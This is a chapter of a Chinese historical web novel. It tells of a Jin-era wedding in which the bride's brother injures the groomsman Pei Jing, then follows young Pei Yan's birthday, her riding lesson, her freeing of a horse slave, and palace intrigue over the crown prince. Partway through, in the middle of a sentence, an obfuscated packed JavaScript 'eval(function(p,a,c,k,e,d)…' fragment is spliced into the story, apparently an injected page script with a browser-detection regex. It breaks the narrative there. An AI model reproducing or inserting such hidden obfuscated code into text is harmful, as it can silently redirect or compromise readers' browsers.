裴妡年后便回宫了,偌大的钜鹿郡公府又只剩下裴妍一个闲人。她母亲被祖母拘着整日在内室悟道,府里也没人管她。 裴妍颇觉无聊。正好这天裴憬告假去张家,裴妍紧跟着也跟叔祖请了病假,拽着裴憬带她一起去。 裴憬无奈,只好把她稍待上。 张家的府邸建在听风坊里,住在这一带的多是军功起家的武将勋贵。 张家府邸说大不大,说小不小,前前后后也有十进院落,但与占地颇广的钜鹿郡公府比起来,算是简陋了。 裴憬是张家常客,张家上下对他颇熟稔。大郎张寔和裴憬的族叔裴邈是至交,对裴憬亦当自家兄弟待。 若只是裴憬来,张家倒没什么紧张的,左右张寔、张茂能把他照应得很好。 可这次裴憬把妹妹裴妍也带来了,这就给本就忙乱的张家更加添乱了。 裴妍是女眷,张家的长媳还没进门,长女又嫁出去了,唯一能招待裴妍的也就是张茂的阿娘——马夫人了。可马夫人正是忙的时候。 裴妍进门后,张茂有些吃惊地看向她。 裴憬摆手推卸责任:“阿妹硬要来,我拦不住。” 张茂不动声色:“禀过夫人和老师了吗?” 裴憬点头:“派风荷、雨荷去说过了。”裴妍身后的风荷、雨荷立即点头。 裴妍有些不高兴,嘀咕道:“我来你家,阿母都没拦着,你反倒问东问西的。” 张茂正色道:“过了年你就十岁了,哪里能像以前那么任性?” 一旁的张寔正和裴邈出来,见到裴妍也都愣住了。 张寔是见识过裴妍的混不吝的,因而并未见怪,只是笑着摇头。 倒是裴邈,他虽是裴妍的族叔,但亲缘不近,又男女有别,接触的不多,对她的个性并不了解。 待见裴妍小小的人儿着一身利落的胭脂色胡服,插着腰昂着脖子趾高气扬地立在张家的院子里,好似一只不服气的锦鸡,不免既新奇又好笑。 张寔无奈道:“这是你家的女郎,劳你帮忙招待?” 裴邈连连摆手:“我拿自家府里的妹妹侄女都没办法,何况钜鹿郡公府的这位?既是阿茂招惹来的,还是请阿茂自己收拾吧!” 张寔好笑地点头,和裴邈悄悄从回廊一侧退了出去。 张茂看看四周,奴仆环伺,总不好在院子里久待。只好把二位贵客往内室引。 内室中,张家的主母,张茂的阿娘马夫人亦得了信,紧赶慢赶地迎了出来。 裴妍跟着张茂穿过游廊,过了一个不大的湖,就进了内院。 这里裴憬也是第一次来,他看了看,对妹妹小声道:“茂弟家真是,小的可怜。” 裴妍点头,这么点地方,在她家只够东湖大小。 张茂耳力过人,自然还是听到了。他倒不以为忤,只是有些无奈,这两只就不能回去再议论?难怪郭夫人要头疼。 裴妍走了没几步,远远看见一个上着苏芳红对襟大袖衫、下着酡颜褶裙的妇人正等在花厅门口。这妇人与她母亲一般年纪,裴妍有些惴惴,不知该如何称呼。 裴憬小声道:“这便是茂弟的母亲,马夫人。” 裴妍点头,不知为何,竟有些紧张。她第一次来,也不知马夫人到底有没有阿兄说的那样好相处? 马夫人出身将门,行事作风与裴妍的外家郭家倒有几分相似,说话行事很是爽利。 她见到裴妍,眼睛不由一亮,立即被这个玉雪可爱的小贵女吸引。 张茂给裴妍做了引荐。 裴妍当即敛容正色,和裴憬一样,对马夫人行晚辈礼。 马氏未避让,只是笑着请裴妍落座。 论身份,钜鹿郡公府裴家是张茂的主家,但马氏是安定张氏的主母,又年长裴妍许多,这礼倒也受得。 她早听张茂说起过裴家长房的这对兄妹。裴憬她见过多次,知道是个朴实无华的憨傻性子。至于裴元娘,她却是头一次见。 马氏观裴妍容色,见她年龄虽小,但气度容色皆为上品。尤其这玉雪可人的小脸,真让人稀罕。 马氏揣摩着小女郎的脾性,让婢子上了好些西域的瓜果、蜜饯,有好些是富贵若裴妍亦不曾见过的。 裴妍起先还客气着,待与马夫人闲聊几句后,发觉这位长辈很好相处,便放下戒备,与她边吃边聊起来。 张茂和裴憬还有婚礼上的事要忙,这边既已引荐到位,便退了出去。 裴妍本有些失落,她也很想去前院看热闹。 马夫人却让婢女端出刚热好的酪浆,成功地转移了她的注意力。 这一坐就是两个时辰,马夫人见多识广,语言风趣,待人体贴,裴妍则是个好奇心很重的孩子,问了许多西域的风土人情、特色土产。 马夫人都耐心地一一解答。 待裴憬来接妹妹时,裴妍已经吃得脑满肠肥,故事也听得一脸餍足。 此行裴妍得到马夫人的接待,吃到了许多以前没吃过的西域特产,又听马夫人说了许多西域的趣事,可以算得上收获颇丰。 裴妍对此很满意。 反倒是裴憬,板着脸跟妹妹交涉:“明天你不许跟来了!” “为何?” “张家正忙着大郎的婚事呢,你来只会添乱!” 裴妍不服气,诘问:“说得好像你就不是添乱似的!” “我跟你不同!我可是张家请的傧相!” “你……傧相?”裴妍瞪大双眼,傧相是新郎官的副手,没想到张家会请裴憬来担任此“要职”。 裴憬有些不高兴:“怎么不能是我?” 裴妍是参加过几场婚礼的,记忆中,傧相需得文武全才。于是问他:“喜娘拦门的时候,阿兄做不出却扇诗怎么办?” “阿茂和邈叔都已经提前写好了,我这几天就是来背诗的!”裴憬自豪地道,不过他很快又苦了脸,“只是,也太难背了些!” 裴憬自小怕读书。 想到哥哥背书时生无可恋的样子,裴妍很不厚道地咯咯咯笑起来。 …… 正月初八是张家大郎迎亲的日子。 裴憬虽是傻子,但他皮相生得好,又出自高门,与张茂有主仆之谊,因此他很荣幸的被邀为傧相之一,早一天就赶去张家住了。 另一个傧相也是裴家人——裴憬的从叔,与张寔交好的裴邈。 张轨的长女张瑗,嫁的雍州刺史唐彬的庶子——太常丞唐熙。夫妇俩也一早携儿女来张家帮衬。 钜鹿郡公裴頠虽未亲至,但着人送上了丰厚的贺礼。有河东裴氏撑腰,张轨这个赋闲的三品武官家居然也门庭若市起来。 婚礼同昏礼,亲迎需到晚晌。但是白日里,张家人依然得应酬前来道贺的亲朋故旧。 张轨并马氏忙得不可开交。张茂和张瑗亦脚底生风,口干舌燥。 青庐里却是另一番景象。张寔并裴邈正一左一右压着裴憬背却扇诗。 明明昨天裴邈压着他背了一天,眼见着他背上了才放回去就寝的。今早裴邈不放心,重又考校了一遍。谁知裴憬两眼一翻,居然一篇都不记得了! 裴邈恨得想揍人。 裴憬自己也急啊,可是他有什么办法。谁让他记性不好呢,前晚上好不容易背上的东西睡一觉居然全忘啦! 裴憬有些气弱地问裴邈:“邈叔,我跟贾家人拼算数好不好?” 气得裴邈直接动手捶他,诗都背不上,还算数!谁家成亲做算数! 张寔赶紧拦下他:“快别为难亭侯了,却扇时劳驾景声(裴邈字)多做几首就是。”又对裴憬道:“劳驾亭侯帮吾等避棍。” 张寔知道裴憬不是背诗的料,干脆将任务一分为二——裴邈才思敏捷,负责作诗,裴憬愚笨,负责挡人。 至于张寔,彼时抢婚盛行,身为新郎的张寔任务最重,他得杀进重围,从女方的闺房里把他的新娘抢出来! 日暮西斜,很快就到了亲迎的吉时。张寔并两个裴家儿郎骑上高头大马,在一众宾客、部曲的簇拥下,浩浩荡荡向凉州贾家在洛京的府邸行去。 半路上,有亲家故意设下的拦路闲汉,张家毫不吝啬地撒下钱帛买路。 到得贾家时,就见贾府门口围了一众护院部曲,各个手执木棍,严阵以待! 贾家在凉州是出了名的大商贾,府里的护院多用胡人。在当时,胡人的生活环境恶劣,很多都吃不饱饭,只能或被迫或自愿卖身给富豪之家为奴。底层的胡人吃的没有汉人好,所以长得反而瘦弱,故而“大汉”“汉子”多是指汉人。但是胡人天生骨架大,只要他们能吃饱饭,长得就会非常壮实。 贾家护院领头的就是一个人高马大的鲜卑胡,名唤汲田,他领着手下约莫数十个胡人,摆出一字阵,架势十足! 旁观的宾客看了,都替张家捏把汗——这亲不好抢啊! 好在张家是行伍世家,宾客中亦多武人,部曲也多是从当年凉州军里退下来的兵士。 贾家这点阵仗,对于打过不知多少硬仗的张家人而言不过是花拳绣腿。 面对敌情,张寔俨然成了坐镇中军的大将,他一个手势,部曲立刻分裂为四军,前路、左翼、右翼闻声而动,对汲田的胡兵穿插包抄,而他自己则翻身下马,在中路军的护送下长驱直入,轻松入内。 彼时婚礼,新娘家会在女儿闺房外设青庐,外有兄弟侄儿把手,内有同族姑嫂姊妹相陪。 新郎和傧相需先做却扇诗,待丫鬟通传、新娘满意了,再率人与守在青庐外的新娘娘家人假意打上一场,新郎趁乱拽出新娘,然后双双去正堂拜别岳父岳母。 这样的婚俗有展示新郎文武双全之寓意,也是上古抢亲之遗风,好似耍百戏似的,非常热闹。 本来一切进行得挺顺利,裴邈作为裴頠的从侄兼得意门生,才华自不用说,十几首却扇诗信手拈来。 然而当新郎率傧相与贾家人干架时,却出了篓子。 新娘贾蓁的弟弟贾摹,在拦人时,下手太猛,把裴憬的头给打破了,脑门上流了不少血! 诸人吓得都停了下来。 张寔也顾不得抢新娘了,赶紧停下来查看裴憬头上的伤口。 好在裴憬的小厮长河发现得及时,贾摹那棍子刚挨着裴憬的头,就被长河用力挑了出去。不然这一棍子实打实落下来,还不定得伤成什么样呢! 裴邈怒不可遏,狠狠瞪了对面那个小子一眼。贾家从哪里找来的痴子,谁不知道婚礼上的抢亲就是走个形式,图一热闹,谁还真动手啊!要不是看在张寔的面子上他早就派部曲把那臭小子暴揍一顿了——他们河东裴氏何时这么被人欺辱过! 贾摹与张茂一般年纪,还是半大小子,被裴邈的凛冽眼刀吓得浑身一抖,不过旋即又不甘示弱的昂起头,嘴里还发出不服气的“哼”声! 内院的动静暂时还传不到外院去,围观的女眷多是年轻一辈的女郎,没经过什么风浪,一时间众人面面相觑——新娘的弟弟把新郎傧相的头给打破了,这可如何是好? 原本坐在草庐里的新娘贾蓁一直密切留意着外间动静。 待听得裴憬被打伤了头,暗道一声不好,定是她那成事不足败事有余的弟弟干的,别人可没这胆量! 于是顾不上礼俗,直接冲了出来,在诸人的围观中,她径直行到伤者身边,急切又不失温柔地询问并查看了裴憬的伤势,待发现裴憬头上伤口不深,血也止住后,这才松了一口气。 张寔见却了扇的贾蓁蛾眉粉黛,俏若桃李,说话又柔声细气,火气先就消了一半。 贾蓁又代弟弟向张寔及裴憬赔礼道歉:“阿摹是家中独子,年龄尚幼,平日难免骄纵些,下手失了轻重,郎君勿怪。” 新妇亲自出青庐赔罪,张家人只好见好就收,不然婚礼岂不是黄了? 至于倒霉催的裴憬,还好血止住了,张寔拿干净的帕巾给他裹了头,预备把新娘接回府后再遣人与他疗伤。 若是事情只到这里,也算皆大欢喜。众人只会当做一场小意外。 然而那个贾摹却不干了。本来贾蓁人已经出来了,张寔就想直接领着她去前厅拜别岳父母。毕竟满堂长辈等着,他们在内院耽搁太久,误了吉时就不好了。 然而贾摹却不许。他跳将出来,一把拉回贾蓁,蛮横地把她往青庐里推,一边对张家众人叫嚣:“我们平阳贾氏嫁女,哪能这么轻易放人?你们安定张氏不过军户,无礼惯了,今次就让你们看看什么是士族规矩!” 这话说得毫不客气,引得稳健若张寔也忍不住攥紧了拳头。 还是身为苦主的裴憬期期艾艾地拽着他和稀泥:“罢了罢了,不气不气,大家都是亲戚,有话好好说啊。” 贾蓁亦被贾摹的话吓了一跳。她平时也知道自家弟弟嚣张跋扈,在凉州常有苦主找上门来。但没想到他居然敢在自己的婚礼上撒野! 于是不等张寔说话,贾蓁先就冷下脸来,狠狠甩开贾摹的手,指着他道:“方才你说谁是军户?” 贾摹自小被三个姐姐宠大,何曾见过三姐这般疾言厉色,气势先就散了大半,结巴道:“自……自然是……张家……” 贾蓁拿一双淬火带刀的凤眼逼视着幼弟。 贾摹被制得喃喃闭了嘴。 贾蓁自知,若不能在张寔面前为张家讨回公道,她往后在婆家的日子别想好过,就听她厉声道:“贾摹你听好了,安定张氏鼻祖乃秦国宰相讳仪,始祖乃汉室诸侯讳耳。细数谱牒,当世无出其右,你竟敢污其为军户?你这竖子,真真是年幼无知!” 一番话,既为安定张氏正了名,向张寔表明自己的立场,又把弟弟的胡搅蛮缠定义为年少无知。张家自然不会在婚礼上为难一个乡下来的少年。 贾摹被姐姐训得一愣一愣的,有些转不过弯来。他是贾老爷与继室所生,且是家里的独子,无论他阿耶还是阿娘,还是上面的三个姐姐,都把他捧得跟眼珠子似的。 他家在凉州是豪富,又号称与如日中天的平阳贾氏沾着亲,是以姑臧城里无人敢惹他。 今次,他护送他三姐贾蓁来洛阳成亲。到了中原后,才发现,何为人外有人,天外有天!本来他以为姑臧城就已经是当世第一大城了,待到得洛阳,才知道,什么是煌煌帝都,赫赫威仪! 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一来二去,时间就不早了。婚礼的吉时是号称神算的挚虞亲自卜算的,贾祁信奉得很,他赶紧领着女儿女婿回了正堂,喝了二人的拜别茶,又分别和胡氏对贾蓁叮嘱一番,抹着眼泪,把女儿送出了门。 贾蓁前脚随张寔出门,贾祁后脚就丢下满堂宾客,单把贾摹拎到书房。 关上房门,他一脚把贾摹踢跪下,抄起案上的铜手炉就向地上的儿子砸去,厉声道:“愚不可及!那是你姐夫的傧相,你怎么敢!” 贾摹先头被打蒙了,回神后只觉天大的委屈:“不就一个傧相么。我们平凉贾家,还怕他们不成!” “孽子!我们怎么能跟平阳贾氏比,人家是正儿八经的高门大户,我们呢!就一商贾!咱祖上只是他平阳贾家出来的一个外室子,百十年来早分了宗。我这些年不过是舔着老脸硬挤上门跟人家攀关系罢了。人家肯收礼已经给足了我们面子,你还真敢把人家当亲戚?至于安定张氏,虽说现下落寞,但他们家主有三品散职在身,俩儿子又能文能武。我看他家起复有望,这才千求万求地给你三姐定下这门亲事。你倒好,几句话就把人家得罪的死死的!结亲不成反结仇,我怎么生出你这么个败家玩意儿!” 贾摹被训得大气不敢出。不过他心里还是不服气的,舅家为大,迎亲的时候他这个做小舅子的傲娇点那是给她姐挣面子! 贾祁一看就知道儿子还没服气,深吸口气接着道:“你若只是得罪安定张氏,也就罢了。左右大家是姻亲,只要你不作死人家也懒得跟你计较。可你知道你那一棒子打的谁么?” 贾摹丈二和尚摸不着头脑:“谁?张家的傧相呗!” 要不是考虑到儿子一会还得出去敬酒,贾祁这会就想动家法。 他几乎失控,怒吼道:“我昨天给你的宾册你没看啊!那是河东裴氏的郎君!河东裴,平阳贾氏都不敢得罪的人家,被你这个小畜生给得罪死了!” 父亲的话仿若当头棒喝,贾摹这才后知后觉地怕起来。他结巴道:“竟……竟然是河东裴氏!阿阿耶,这可怎么办?他们会不会派人修理我……” 贾祁只觉头疼,本以为老来得子,家业得继,谁知生出这么个没脑子的窝囊废! 他已经无力发火,叹气道:“报复倒不至于,河东裴氏与张家交好,我们既与张家成了姻亲,他们自不会为难吾等。只是,商口从官,你让我们家在河东裴氏那里担了恶名,以后我们家的生意想要东出崤关,怕是难了!” 贾摹这才傻了眼,没想到自己那一棍子,居然给家里遭了这么大灾! 人的孽缘与良缘一样,总是不知所起,却又牵绊始终。 张茂在知道这件事后,对这位嫂嫂的娘家兄弟只觉厌恶至极,连带着对整个凉州贾氏的印象都很不好。 若干年后张茂掌权凉州,第一个整治的,就是凭借裙带关系作威作福的贾摹!当然,这是后话了。 不管如今贾家如何鸡飞狗跳。张府门前却是张灯结彩,高朋满座。 新人礼成后,新娘被请进了青庐,张寔的婶婶与姐姐在里面陪着新娘。张寔在外与诸人行酒。 裴憬的脑门虽说一开始流了点血,但止血后可以看出只是擦破了一层皮。 他命长河拿白粉给他盖了,又叮嘱从裴家跟来的仆役不得多嘴,便乐呵呵地出去给新郎挡酒去了。 长河无奈,他知道裴憬讲义气,既不想让裴府的人担心自己,又怕张家被牵累,宁愿自己拿粉遮掩过去。 裴憬自以为瞒得紧,然而跟他出去的小厮除长河外,皆是郭老夫人的人。他这里刚刚被打,那里就有人溜回去报信了。 小郭氏在老夫人处听说裴憬头上被打破了皮,担心不已,立时想派人接他回来,却被老夫人制止了。 就听郭老夫人缓缓道:“阿憬痴顽,却仁义。张家小郎知明,却孤勇。阿憬想要收服他,唯倚仗诚心罢了。这一木棍可谓惠而不费,你又何须多嘴?” 小郭氏不懂老夫人说的这些弯弯绕绕,但她知道婆母见识比她高,听婆母的准没错。只好掩下焦虑,静待裴憬归府。 张家大郎的婚礼,裴妍无缘参加,但一直关注着,听说他哥在婚礼上被打破了头,特地去看了看他,惊诧道:“阿兄这伤是迎亲时弄的?怎么张大哥成亲跟打仗似的?” 裴憬笑笑没有解释。 张茂却觉得惭愧万分,自己这个陪读真是太不称职了,居然累得主家受伤。于是侍奉起裴憬来越发恭谨。 安定张氏与凉州贾氏在洛阳都算不得高门大户,因此成亲时发生的那点闹剧并未在世家圈里闹开来。 但是贾谧还是从自家派去观礼的仆妇那里知道了贾摹打伤裴憬的事。 贾谧又将此事告诉了韩芷,兄妹俩相对而坐,一时都很气闷。 贾谧本想借凉州贾氏与张家交好,韩芷则想借机与张茂沾亲。说白了,兄妹俩都是为了张家才跟凉州贾家来往的,不料他们的一番好意,却助涨了贾摹的气焰,间接导致裴憬被打、张家受辱。 贾谧还好,本来他就看不上安定张氏,只是本着多个朋友多条路的想法,借机卖个好罢了,不成也没关系。 韩芷却气得要死,把贾摹那个蠢货骂得狗血淋头。最后还是气不过,派人寻了几个游侠儿,趁贾摹溜出府闲逛时,借机暴打了他一顿。吓得这个浪荡子以为自己遭了裴家报复,连养伤都顾不得,连夜逃回了凉州,也算是间接为裴憬报了一棍之仇。 13. 第十三章 历来冬日最难熬,对于万千黎庶而言,一冬或就是一命,家中缺粮者卖儿鬻女,冬衣无着者冻死道边。 老而无能者子女弃养,幼而无哺者溺死河边。更有关外红着眼提着刀跨马逐鹿的胡戎,劫掠,杀人、屠城,不过寻常。 至于官府,也就催征徭役时才会如影随形。赈灾、救济?没看见天子让吃肉糜!黎民吃不上饭?去吃肉糜啊!没有肉?易子而食,肉不就来了? 既然官府不管,那就别怪黎民自己来抢了。因而往往青黄不接的档口,也是流民四起、盗匪横行的时候。 当然,不管外面如何兵荒马乱,逃荒的难民进不了重兵把守的京城,死去的孤魂渡不过邙山和伊水,苍生的哀嚎也传不到醉生梦死的世家豪门里。 于是,贵人依旧是贵人,醉生梦死纸醉金迷,岁月静好无风无浪,去他的天灾人祸,与他们何干? 年后不久,就是裴妍的十岁生辰。小郭夫人于长房佩玖院办酒宴庆贺。 裴妍头上插戴着小郭氏早就准备好的金桂簪,只觉两边头皮陡然一沉。她站在及地的铜镜前,拿手扶了扶混着假发的双鬟,满意地照了又照。镜子里的小女郎眼波流转,娇媚若出水芙蓉,灵气逼人。 当梳了高鬟插了金钗的裴妍再出现在宴席时,可谓惊艳四座,几个兄长眼睛都看直了,连见惯了美人的裴頠都不得不承认,自己这个侄女确实是美人胚子,金钗之年便是花蕊之姿。 张茂亦在席间,他只觉自己的眼睛不受控地被裴妍吸引,无关风月,只是单纯地对娇妍女娃的欣赏。 许久,他才意识到,自己是外男,须得避忌,只好迫使自己转移了目光。好在不止他失态,席上裴家的三个郎君也是过好久才回神。 裴妡就坐在裴妍旁边,她艳羡地看着堂姐,下个月就是她的生辰,她可以和姐姐一样插金钗了!不知那时的她,是不是与姐姐一样美? 裴頠看着如珠似玉的姊妹俩,又是自豪,又是发愁。吾家的女郎,该当怎样的儿郎才配得上? 他脑子里闪过几个后起之秀来,可无论是文采风流的王导、王玄,还是武功见长的刘舆、刘琨,还是司马家的诸王世子,似乎都达不到他的要求。唉,世上哪有能配得上他裴家女郎的男子哟! 时序流转,春深不知。一个月转瞬即逝,不当家的人总是觉得时日很快。 前日参加完裴妡的生辰宴后,裴妍一觉睡到天亮,在一阵清脆的啼鸣中醒来。她揉着惺忪的睡眼,推开床边的槅窗,惊喜地发现不知何时,房梁底下多出一个燕窝,几只刚孵出的乳燕正扒着窝边叽叽喳喳叫着。 她欣喜地趿履出门。婢子们赶紧提着外衣追随在后。她也没去远的地方,就站在自家小院里,看地上浅草初绿,早樱初绽,院外新柳拍岸,鸟鸣蝶飞。 她深吸一口气,不知不觉间,春至矣。 婢女风荷给她披上大髦,劝道:“知道女郎高兴,但如今乍暖还寒的时候,万不可受凉。” 院外传来咯咯地笑声,就见裴妡头梳髽发,一身鲜艳的赤色剑袖胡服,风风火火地进了她的院子:“阿姊什么事,这么开心?” 裴妍笑着邀她看廊下的花草。 裴妡对这些不敢兴趣,但看姐姐喜欢,便耐着性子陪着。 良久,裴妍的目光转到妹妹身上,见她这身胡服很是鲜亮,一时来了兴致,提议道:“难得旬日,咱们去踏青吧!” 大好春光,闷在家里多无趣啊! 裴妡摇头:“听阿耶说,近日莫出城,京郊不太平。” 裴妍没有父兄在朝,消息不如二房灵通,诧异道:“为何?” 裴妡也说不清楚,她道:“听阿母说,京城外出了不少‘乞活’军,朝廷已经派了好几位府君去处理了。” “哦!”裴妍不大懂什么是乞活,但直觉他们扰了自己的好心情。 “何况,”裴妡指着自己的胡服,笑道:“阿姊忘了,今天我们要学驭马啦!” 裴妍这才记起,大母之前说过,过了十岁就让她们学骑马呢! 郭老夫人将门出身,自己在娘家时可谓弓马娴熟。在她看来,女子与其去学什么女工烹饪,不如把马骑好,强身健体不说,遇上事儿好歹能上马跑路不是? 这点郭大夫人和王夫人都很支持,时人流行坐牛车,但是世家儿郎都要学习驭马,女子会骑马的也不少。 郭老夫人特地从自己的陪房里,找了位善御的妇人,名唤“蓿婆”,让她来做孙女们的师父,又因裴妡旬日才得空回府,所以课程便放在了旬假里。 裴妍赶紧回房也换了胡服,待姊妹俩到得马场时,蓿婆与教授郎君骑射的裴符已经等候多时了。 今日马场空荡荡的。裴妡推了推裴妍,问她:“听说那位张二郎弓马娴熟,没事也要来这里跑上两圈,怎么今天反倒没来?” 张茂自那日温泉别庄后一战成名,在世家郎君里很有几分名声,就连闺秀里也有不少女郎关注起他来,比如河东公主和韩芷,经常向裴妡打听张茂的近况。 天地良心,她裴妡一旬才得一天假,跟张茂委实不熟。她想着裴妍跟张茂同在叔祖那里读书,想来知道点近况。 “往常阿兄与阿茂哥即便旬日也会来马场跑两圈。”裴妍道:“不过听阿兄说,今日阿茂哥的母亲要启程回凉州了,他们可能都去张府送行了吧。” “哦!”裴妡有些失望。 “女郎,请先随某挑马。”裴符道。他不仅是郎君们的骑射教习,也管着整片马场。 今日,为方便女郎学骑射,他特地让马行送来一批上好的幼马,又和蓿娘事先相过一轮,留下的都是品相好且性情温顺的。 这些幼马与女郎身量等高。姊妹俩都是颜控,裴妍选了一匹乳白的,给它取名“追风”,裴妡则选了匹枣红色的,依着姐姐的话头,取名“疾火”。 蓿娘比裴符还要谨慎,她让两个小姑娘先牵着马儿走几圈,中途给小马喂几次吃的,待与马儿彼此熟悉了,再上马背。还一再强调,千万不能站在马尾和马头。 牵着马走?俩姊妹对视一眼,都有些失望,好没意思。 然而事实证明,哪怕是牵马,新手也容易出现问题。 裴妡还好,牵着小马转了几圈都很顺利。 裴妍的马儿走了没两圈,却突然不动了。裴妍用力拽了拽,还是拽不动。 裴妡奇怪道:“它是不是累了?” 裴妍自己绕着马儿看了看,想不通道:“它俩一起出的马厩,没道理疾火没累,它累成这样啊。” 两个女郎边遛马边说话,蓿娘就跟在她们身后不远处,看到裴妍的马突然停了。她想到什么,大声对裴妍道:“女郎快离马儿远点!” 说时迟那时快,就见追风的马尾巴下,接二连三掉出无数圆溜溜臭烘烘的马粪,那天东风强劲,把新鲜的马粪吹出好远,而裴妍恰好就站在马尾的侧边…… 就在裴妍闭着眼睛等吃粪时,一个灰溜溜的身影将她大力推到了一边。裴妍踉跄几步,站稳后,才发现是一个灰布麻衣、蓬头垢面的马奴拦在了自己面前,替她挡下了那堆臭烘烘的马粪。 意外来的太突然,裴妡、蓿娘还有风荷雨荷等人,赶紧上前扶住裴妍,见她无事,才放下心来。 裴妍抬起头正好看到那个方才救了自己的奴隶被一个小厮领着往外走——他太臭了,不能污了贵人耳目,哪怕他刚刚救了贵人。 其时三月春风拂地,但依然春寒料峭,那马奴虽衣衫褴褛,浑身都是臭烘烘的马粪,但走路大步流星,瘦高的个子,腰背挺得笔直的,无半分卑下之态。 裴妍“唉!”了一声,指着那个马奴问蓿娘:“他救了我,把他叫过来吧!” 蓿娘却道:“胡奴鄙陋,何必来污女郎耳目?赏他主家半吊钱足矣。” “胡奴?”裴妍没看到那个马奴的脸,只是从背影看,个头挺大的,就是太瘦,好似冬日里光秃秃的杨树。 “是贩马的马商带来的。胡人善养马,两位女郎手中的幼马就是他喂养的。奴怕新到的马驹不服管教,故而让他远远跟着。” 裴家姊妹俩对视一眼,原来她们牵着的小马驹是他养的啊! 裴妍顺了顺追风的鬃毛,追风却有些敏感地越过裴妍看向她的身后——那个马奴远去的方向。 呵,这还是匹重感情的小马! “那个人刚才救了我,阿媪赏他一贯钱吧!直接给他!”干嘛给他的主人呢?救人的是他又不是他主人。 蓿婆却摇头道:“奴隶不得有私财,我们即便给他一贯钱,这钱最后也是要交予他家主人的。何况,一贯钱够买十个胡奴了。” “那就从他的主人那里把他买下来!”裴妍道:“然后放了他,再给他一贯钱。”多么简单的事! 蓿婆迟疑道:“此事容奴禀过家老。” “这有什么好上报的!”裴妍不满道,“不就是一贯钱嘛,从我那里支就是。” 蓿婆只得照做。唉!这个奴隶简直撞大运了!替女郎挡了些秽物,就能得到多少人梦寐以求的自由身,还有整整一贯赏钱可拿。女郎真是太仁善了! 几句话的功夫,马场上的秽物就被马奴们清理干净了。 裴妍和裴妡则继续边聊天边牵着马驹遛弯。“胡人有黑有白,你说刚才救你的那个是黑的还是白的?”裴妡有些无聊地问。 裴妍回想了一下,摇头道:“没有细看,约莫是白的吧。贾表哥府里的胡姬不就是?” 裴妡又道:“据说胡人的眼睛颜色都不一样,有蓝的,有绿的,甚至还有赤色的,跟琉璃珠子似的!” “这么神奇?”裴妍有些后悔,刚才应该叫住那个胡奴,看看他长什么样子的。 自马场回去的时候,裴妍远远听到“呜呜”声,似是有人被捂住了嘴。她循声望去,见几个马奴正拽着一个男人往外拖。 一个马奴没能捂好他的嘴,就听那男人朝自己这里高喊一声:“贵女!”旋即又被马奴们给封了嘴,这回用的是一块麻布,那男人彻底消了声。 裴妍好奇地问身后蓿婆:“是什么人?”蓿婆亲自去探了探,回来答道:“是刚才女郎释放的那个奴隶。他想来给女郎叩头谢恩。但此人粗鄙,符管事怕他冲撞贵人,故而遣人拦着。” “哦?他想谢我?”裴妍来了兴致,转头对裴妡道:“你不是好奇他眼珠子的颜色?召来看看就晓得了。” 言罢,吩咐蓿娘把人带到面前。按理,得释的奴隶确也要来感谢主家的。 蓿娘只得道:“女郎稍待,奴命人给他梳洗。”女郎爱洁,那个马奴浑身臭气熏天,别冲撞了贵人。 裴妍和裴妡有的是时间,二人到一旁的厢房里边品茶边等着。大约一盏茶的功夫,那个马奴被洗刷干净后,由裴符亲自领着,带到了姊妹俩面前。 那人刚被裴符教过规矩,高大的个子,别扭地趴跪在地,头贴在松软的蜀褥上。 裴妍好奇地盯着地上的胡奴道:“你叫什么名字,哪里来的?” “奴叫阿訇。祖上是西域石国人。”胡奴地位卑下,拜见贵人,不得直视,只能别扭地低着头。 裴妍不习惯他跪着,头压得那 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“奴本上党羯人,几年前乡里遭灾,奴逃荒出来,本想在外谋份差事,挣钱奉养家中老人,半道却被官府截来卖进马场为奴。算来,奴与乡里断绝往来已有五年矣。奴常因担忧母亲而戚戚不能寐。如今女郎仁义,释奴以自由身,又赠奴赏金,使奴得以回乡奉养家人。奴无以为报,只能扣头谢恩。待奴侍奉老母百年,再来还女郎再造之恩。”这个叫訇的马奴谢道。 姊妹俩对视一眼,都有些诧异。 裴妍没想到自己随手放个奴隶,居然做了一件这么大的好事。一时间,也有些得意。 她笑道:“那也是因你先救了我,才有此际遇。”回头又命蓿婆多赏他一贯钱,算是给他孝敬父母的。 阿訇没想到眼前的小女郎不仅人美心善,出手还这么大方,赶紧又多叩了几个响头。 姊妹俩只觉有趣,捂着嘴偷笑。 一旁的蓿婆冷眼瞧着,心想,依这马奴的机灵劲,即便女郎不释了他,他也有的是办法自己找出路! 晚晌前,裴憬与张茂双双归来。郭老夫人召他们去内院用饭——裴府惯例,每到旬日,只要没应酬的,都要到老夫人处一起用膳。 席间,裴妍和裴妡绘声绘色地给大家讲她们白日的善举。 小郭氏和王夫人只当新鲜事听。裴家的几个郎君都是太平先生,没经历过丧乱,也没觉得有何不妥。 倒是郭老夫人并裴頠听罢,脸色皆有些凝重。张茂亦皱眉,他察言观色地看向上首,见到两个当家人的脸色,心里有数,知道这事必有下文。 果然,席散后,郭老夫人留下小儿子叙话。“五六年前,上党可有灾情上禀?” 裴頠摇头:“未曾听闻。” “哼!”老夫人不忿地顿了顿手杖:“隐匿灾荒,私掳胡人,逼良为贱,上党郡守何敢!” 裴頠摇头:“如今各郡皆由诸王把控,上令不出京畿,倒也未必是府君不作为。” “四野胡人蠢蠢欲动,中原乞活流窜作乱,诸侯跋扈不受节度,郡治乱象初显。太康承平不过十载,就有此败国之兆,悲哉!”郭老夫人叹道。 裴頠皱眉,老夫人说的何尝不是他担忧的?然而如今,上位者依然醉生梦死,浑然不顾苍生,只想着给自己争权夺利!想到此节,他朝老夫人更近一步,低声道:“烦请阿母多为皇后谋,当此纷乱之时,京畿尤不可乱。东宫乃国本,皇后有易储之心,无异于自毁根基。” 郭老夫人微怔,旋即摇头道:“东宫乃今上独子,皇后不至于糊涂至此。” 裴頠凑得更近了,密语道:“以前不会,如今却难说了。前日,儿得知——赵充华有身孕了。” 贾皇后一连生下四位公主,之后多年没有动静,否则何至于立庶子为储!东宫敢对皇后无礼,未尝不是仗着自己是今上独子的缘故。但凡今上有其他儿子,东宫的地位将不再牢靠。 皇后前番册封后宫,未尝没有借腹生子的打算。只要后宫诞下麟子,东宫是废是立,还不是皇后一句话的事? 